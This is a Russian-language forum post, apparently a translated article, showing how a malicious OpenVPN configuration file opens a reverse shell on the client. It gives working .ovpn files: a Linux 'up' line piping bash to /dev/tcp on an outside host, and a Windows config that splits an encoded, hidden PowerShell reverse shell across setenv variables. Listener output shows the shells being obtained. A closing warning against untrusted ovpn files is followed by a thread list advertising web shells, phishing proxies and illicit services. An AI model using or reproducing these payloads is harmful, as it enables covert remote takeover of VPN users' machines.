Reverse Shell через конфигурационный файл OpenVPN

  • Автор темы Gidroponika
  • Дата начала
G

Gidroponika

Проводя фоновое исследование OpenVPN, я наткнулся на интересный вопрос на Stack Exchange(

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

).

53593b667a3d8d112d2fb.png

Пользователь, похоже, не спрашивает, опасно ли использовать бесплатные сервисы OpenVPN. Вместо этого, пользователь спрашивает, опасно ли использовать .ovpn файлы сами по себе. Поскольку не было удовлетворительного ответа, я углубился в это, и я пришел к выводу, что да, ненадежные файлы ovpn довольно опасны.

Давайте начнем. Ovpn файл - это файл конфигурации, предоставляемый клиенту или серверу OpenVPN. Файл содержит все детали, о VPN-соединении: какие удаленные серверы для подключения и шифрования использовать, какие протоколы использовать и т. д.

В самой простой форме файл ovpn выглядит следующим образом:


Код:
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun

Это направляет клиенту соединяться с сервером 192.168.1.245 без аутентификации или шифрования и устанавливать интерфейс tun для связи между клиентом (10.200.0.2) и сервером (10.200.0.1). Для этого блога полезен трехстрочный пример, но реальные файлы ovpn могут легко превышать сотни строк, когда используются более сложные функции.

В принципе, команда выполняет любые скрипты, которые вы укажите . Если жертва использует версию Bash, которая поддерживает /dev / tcp, то получение обратной оболочки тривиально. Следующий файл ovpn будет обратной оболочкой 192.168.1.218:8181.

Код:
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up “/bin/bash -c ‘/bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1&’”


Когда этот файл ovpn используется, пользователь не поймет, что что-то не так. VPN соединение устанавливается нормально и трафик идет. В журнале есть только два указания, которые возможно указывают, что, что-то происходит. Я выделил их для более легкого чтения:

Код:
hu Jun 7 12:28:23 2018 disabling NCP mode ( — ncp-disable) because not in P2MP client or server mode
Thu Jun 7 12:28:23 2018 OpenVPN 2.5_git [git:HEAD/1f458322cdaffed0+*] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Jun 7 2018
Thu Jun 7 12:28:23 2018 library versions: OpenSSL 1.0.2g 1 Mar 2016, LZO 2.08
Thu Jun 7 12:28:23 2018 NOTE: the current — script-security setting may allow this configuration to call user-defined scripts
Thu Jun 7 12:28:23 2018 ******* WARNING *******: All encryption and authentication features disabled — All data will be tunnelled as clear text and will not be protected against man-in-the-middle changes. PLEASE DO RECONSIDER THIS CONFIGURATION!
Thu Jun 7 12:28:23 2018 TUN/TAP device tun0 opened
Thu Jun 7 12:28:23 2018 do_ifconfig, tt->did_ifconfig_ipv6_setup=0
Thu Jun 7 12:28:23 2018 /sbin/ifconfig tun0 10.200.0.2 pointopoint 10.200.0.1 mtu 1500
Thu Jun 7 12:28:23 2018 /bin/bash -c /bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1& tun0 1500 1500 10.200.0.2 10.200.0.1 init
Thu Jun 7 12:28:23 2018 TCP/UDP: Preserving recently used remote address: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:23 2018 UDP link local (bound): [AF_INET][undef]:1194
Thu Jun 7 12:28:23 2018 UDP link remote: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:33 2018 Peer Connection Initiated with [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:34 2018 WARNING: this configuration may cache passwords in memory — use the auth-nocache option to prevent this
Thu Jun 7 12:28:34 2018 Initialization Sequence Completed
Even if the the user does see these log entries a reverse shell has already been established with our listener on 192.168.1.218:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.247] port 8181 [tcp/*] accepted (family 2, sport 54836)
root@client:/home/client/openvpn# id
id
uid=0(root) gid=0(root) groups=0(root)
root@client:/home/client/openvpn#

Bash делает эту атаку легкой в дистрибутивах Linux, таких как Ubuntu. Однако в Windows нет аналогичной функции /dev / tcp. Нам придется немного потрудиться, чтобы сгенерировать обратную оболочку для хоста Windows. К счастью, Дэйв Кеннеди из TrustedSec написал небольшую обратную оболочку powershell(

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

), которую мы можем использовать. Мы можем передать весь скрипт в командной строке. Однако, нам нужно будет кодировать сценарий base64, чтобы избежать необходимости вставлять Escape-коды. У нашего старого друга Карлоса Переса есть сценарий под названием ps_encoder.py(

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

), он сделает кодировку за нас.

Однако существует проблема. Закодированный обратный сценарий оболочки имеет длину более 4000 символов, а OpenVPN имеет ограничение в 256 символов. Чтобы обойти это, мы можем использовать команду setenv, чтобы разделить скрипт, а затем рекомбинировать его в команде up. Рассмотрим следующий ovpn файл :

Код:
ifconfig 10.200.0.2 10.200.0.1
dev tun
remote 192.168.1.245
script-security 2
setenv z1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
setenv a1 ‘ZgB1AG4AYwB0AGkAbwBuACAAYwBsAGUAYQBuAHUAcAAgAHsADQAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQANAAoAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AEM’
setenv b1 ‘AbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAH0ADQAKAGUAeABpAHQAfQANAAoAJABhAGQAZAByAGUAcwBzACAAPQAgACcAMQA5ADIALgAxADYAOAAuADEALgAyADEAOAAnAA0ACgAkAHAAbwByAHQAIAA9ACAAJwA4ADEAOAAxACcADQAKACQAYwBsAG’
setenv c1 ‘kAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgBzAG8AYwBrAGUAdABzAC4AdABjAHAAYwBsAGkAZQBuAHQADQAKACQAYwBsAGkAZQBuAHQALgBjAG8AbgBuAGUAYwB0ACgAJABhAGQAZAByAGUAcwBzACwAJABwAG8AcgB0ACkADQAKACQAcwB0AHIAZQBhAG0AIAA9A’
setenv d1 ‘CAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQANAAoAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdACAAJABjAGwAaQBlAG4AdAAuAFIAZQBjAGUAaQB2AGUAQgB1AGYAZgBlAHIAUwBpAHoAZQAN’
setenv e1 ‘AAoAJABwAHIAbwBjAGUAcwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMADQAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdABJAG4AZgBvAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACcAQwA6AFwAXAB3AGkAbgB’
setenv f1 ‘kAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAJwANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAxAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbw’
setenv g1 ‘AuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAIAA9ACAAMQANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAwAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQAKAApAA0ACgAkAGkAb’
setenv h1 ‘gBwAHUAdABzAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AA0ACgAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtACAAPQAgACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAA’
setenv i1 ‘MQANAAoAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAcwBjAGkAaQBFAG4AYwBvAGQAaQBuAGcADQAKAHcAaABpAGwAZQAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBQAGUAZQBrACgAKQAgAC0AbgBlACAALQAxACkAewAkAG8’
setenv j1 ‘AdQB0ACAAKwA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsAD’
setenv k1 ‘AALAAkAG8AdQB0AC4ATABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwAOwAgACQAZABvAG4AZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJAB0AGUAcwB0AGkAbgBnACAAPQAgADAAOwANAAoAdwBoAGkAbABlACAAKAAtAG4AbwB0ACAAJABkAG8AbgBlACkAIAB7AA0ACgBpAGYAIAAoACQAYwBsA’
setenv l1 ‘GkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAAgAC0AbgBlACAAJAB0AHIAdQBlACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAJABwAG8AcwAgAD0AIAAwADsAIAAkAGkAIAA9ACAAMQANAAoAdwBoAGkAbABlACAAKAAoACQAaQAgAC0AZwB0ACAAMAApACAALQBhAG4AZAAgACgAJABwAG8AcwAgAC0AbAB0ACAAJABu’
setenv m1 ‘AGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAKQApACAAewANAAoAJAByAGUAYQBkACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACwAJABwAG8AcwAsACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACAALQA’
setenv n1 ‘gACQAcABvAHMAKQANAAoAJABwAG8AcwArAD0AJAByAGUAYQBkADsAIABpAGYAIAAoACQAcABvAHMAIAAtAGEAbgBkACAAKAAkAG4AZQB0AHcAbwByAGsAYgB1AGYAZgBlAHIAWwAwAC4ALgAkACgAJABwAG8AcwAtADEAKQBdACAALQBjAG8AbgB0AGEAaQBuAHMAIAAxADAAKQApACAAewBiAHIAZQBhAGsAfQB9AA0ACg’
setenv o1 ‘BpAGYAIAAoACQAcABvAHMAIAAtAGcAdAAgADAAKQAgAHsADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAsADAALAAkAHAAbwBzACkADQAKACQAaQBuAHAAdQB0AHMAdAByAGUAYQBtAC4AdwByAGkAd’
setenv p1 ‘ABlACgAJABzAHQAcgBpAG4AZwApAA0ACgBzAHQAYQByAHQALQBzAGwAZQBlAHAAIAAxAA0ACgBpAGYAIAAoACQAcAByAG8AYwBlAHMAcwAuAEUAeABpAHQAQwBvAGQAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAZQBsAHMAZQAgAHsADQAKACQAbwB1AHQAIAA9ACAAJABlAG4A’
setenv q1 ‘YwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAA0ACgB3AGgAaQBsAGUAKAAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtAC4AUABlAGUAawAoACkAIAAtAG4AZQAgAC0AMQApAHsADQAKACQAbwB1AHQAIAArAD0AIAAkAGUAbgBjAG8’
setenv r1 ‘AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAHUAdABwAHUAdABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAApACkAOwAgAGkAZgAgACgAJABvAHUAdAAgAC0AZQBxACAAJABzAHQAcgBpAG4AZwApACAAewAkAG8AdQB0ACAAPQAgACcAJwB9AH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAG’
setenv s1 ‘UAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsADAALAAkAG8AdQB0AC4AbABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABuAHUAbABsAH0AfQAgAGUAbABzAGUAIAB7AGMAbABlAGEAbgB1AHAAfQB9AA==’
up ‘C:\\Windows\\System32\\cmd.exe /c (start %z1% -WindowStyle Hidden -EncodedCommand %a1%%b1%%c1%%d1%%e1%%f1%%g1%%h1%%i1%%j1%%k1%%l1%%m1%%n1%%o1%%p1%%q1%%r1%%s1% ) ||’


Вы можете видеть, что кодированный сценарий был разделен на несколько, командой setenv. В самом конце, скрипт просто запускает все переменные окружения вместе. Как и в нашем примере Linux, есть замечание о — script-security при первом запуске OPENVPN GUI:

1eb4fe5fe39c9b8b1638d.png

Опять же, даже если пользователь замечает это или понимает последствия, слишком поздно:

Код:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.226] port 8181 [tcp/*] accepted (family 2, sport 51082)
Microsoft Windows [Version 10.0.17134.48]
© 2018 Microsoft Corporation. All rights reserved.
C:\Users\albinolobster\OpenVPN\config\albino_lobster>whoami
desktop-r5u6pvd\albinolobster
C:\Users\albinolobster\OpenVPN\config\albino_lobster>


Использование ненадежных файлов ovpn опасно. Вы позволяете незнакомцу выполнять произвольные команды на вашем компьютере.

Таким образом, если вы не знаете, как читать файлы ovpn, я предлагаю вам быть очень осторожными в отношении файлов конфигурации, которые вы используете.
 
Название темы
Автор Заголовок Раздел Ответы Дата
T Reverse-shell upgrade Полезные статьи 0
F Модифицированный Evilginx2 Modified Evilginx2 / Reverse Proxy Phishing Ищу работу. Предлагаю свои услуги. 0
U Интересно Reverse Engenireeng - вскрываем протектор Enigma Полезные статьи 0
0 aestore.io - [SMTP|SHELL|AWS|SENDGRID|SCAMPAGE] ALL IN ONE Корзина 0
0 aestore.io - SMTP CRACKED - SMTP/Shell/CP/WP Корзина 0
0 aestore.io - Web Shell-Mailer-SMTP-SSH-Leads-Cpanel-Numbers-fresh-Accounts Корзина 0
L Интересно Java - Получаем SHELL через Minecraft плагин Другие ЯП 7
H Web-shell без JavaScript с файл-менеджером на борту Корзина 0
NickelBlack Jex Bot V5 | Auto Shell Bot Spam/DDOS/Malware 2
I Куплю Куплю ракушки shell for backlinks Куплю/Продам 0
T Ani Shell v.1.3 Spam/DDOS/Malware 1
G Заливка WEB-Shell WSO на уязвимые сайты. Для новичков )) Полезные статьи 2
G Skipfish - Сканер безопасности веб-приложений для определения XSS, SQL инъекции, а также Shell инъекции Kali Linux 0
G Загрузка shell в WEB-сервер. PhpMyAdmin Уязвимости и взлом 0
I Огромная подборка софта для работы с SHELL Софт для работы с текстом/Другой софт 2
Emilio_Gaviriya Статья Утечка конфиденциальной информации через .gitignore. Уязвимости и взлом 0
Support81 PlanetRisk: компания, которая шпионила за Владимиром Путиным через таргетированную рекламу Новости в сети 0
Emilio_Gaviriya Статья Деанонимизация пользователей Tor через файлы-приманки. Анонимность и приватность 1
JellHoff Халявные 50грн через дію Другое 1
Support81 Врата компрометации: вредонос «DarkGate» активно распространяется через фишинговые рассылки Новости в сети 0
SMSvTelegram На проверке Долгосрочная аренда номеров под sms через телеграм бот Ищу работу. Предлагаю свои услуги. 1
vlzp Войти в Revolut через эмулятор Genymotion Предоставляю работу. Ищу специалиста. 1
Support81 Мошенники генерируют изображения фальшивых банковских карт через чат-боты в Telegram Новости в сети 0
turbion0 Статья Тинькофф Банк с 31 июля начнет взимать комиссию за пополнение карт «Мир» через банкоматы других банков, не входящих в число партнеров. Сейчас в банке Новости в сети 1
V Нужен обнал Казахстан через юр.лица Финансы - биллинги, банки, кошельки, логи 1
Q Закрыто Phone Spammer - Спамер (флудер) телефонов через сайты объявлений Корзина 2
K Взлом WiFi через Кали линукс с рут правами Вопросы и интересы 3
mickey7091 Есть работа для хакера,плачу 15 000р(сделка через гаранта). Предоставляю работу. Ищу специалиста. 4
W [Александр Пуминов] Арбитраж трафика через YouTube (2021) Способы заработка 2
DOMINUS Арестованы подозреваемые в отмывании $113 млн через криптовалюту Новости в сети 0
M Отработки бинанс с btc. лоченые/любые аки, через api/любой терминал. 50/50! Предоставляю работу. Ищу специалиста. 0
Р Интересно Подключаем выгодный тариф через госуслуги! Другое 0
DOMINUS Проверено «EDEM PROBIV» Полный пробив информации через СДЭК (Треки / информация об отправителе и получателе / адреса / накладные и др.) Пробив информации/Прозвоны 2
DOMINUS Хакеры атакуют пользователей криптовалют через серверы в сети Tor Новости в сети 0
9 Интересно MDT-Деанон через ссылку (ч.2) Уязвимости и взлом 12
9 Интересно MST-или деанон через ссылку. Полезные статьи 12
S Продвигай гемблинг и 18+ через Play Market: заработок с WebView Способы заработка 0
U Учимся крякать программы через x32dbg - Abel Loader Generator Полезные статьи 8
G Интересно [Бесплатно] Сyberpunk 2077 через Geforce NOW Полезные статьи 0
G Интересно Cyberpunk 2077 через GfN (бесплатно) Полезные статьи 0
H Интересно Хак браузеров через BeFF Уязвимости и взлом 0
H Кража данных через TikTok - легко Корзина 0
GLOV ★ Связной - требуются сотрудники ★ Высокооплачиваемая работа / Работа через телеграм бот Предоставляю работу. Ищу специалиста. 2
S Раздача монет BRG через тг бота (можно абузить) Способы заработка 0
Denik Интересно Взлом компьютера через презентацию Уязвимости и взлом 4
J Интересно Взлом компьютера через беспроводную мышь или клавиатуру Уязвимости и взлом 2
L Интересно Жительницу Австралии арестовали по подозрению в отмывании $3,2 млн через биткоины Новости в сети 0
2 Взлом камер видеонаблюдения через браузер Уязвимости и взлом 24
L Интересно Bitfinex продолжает попытки через суд вернуть утраченные $880 млн Новости в сети 0
A Интересно Накрутка подписчиков в instagram через консоль Спам, рассылки, трафик, SEO 1

Название темы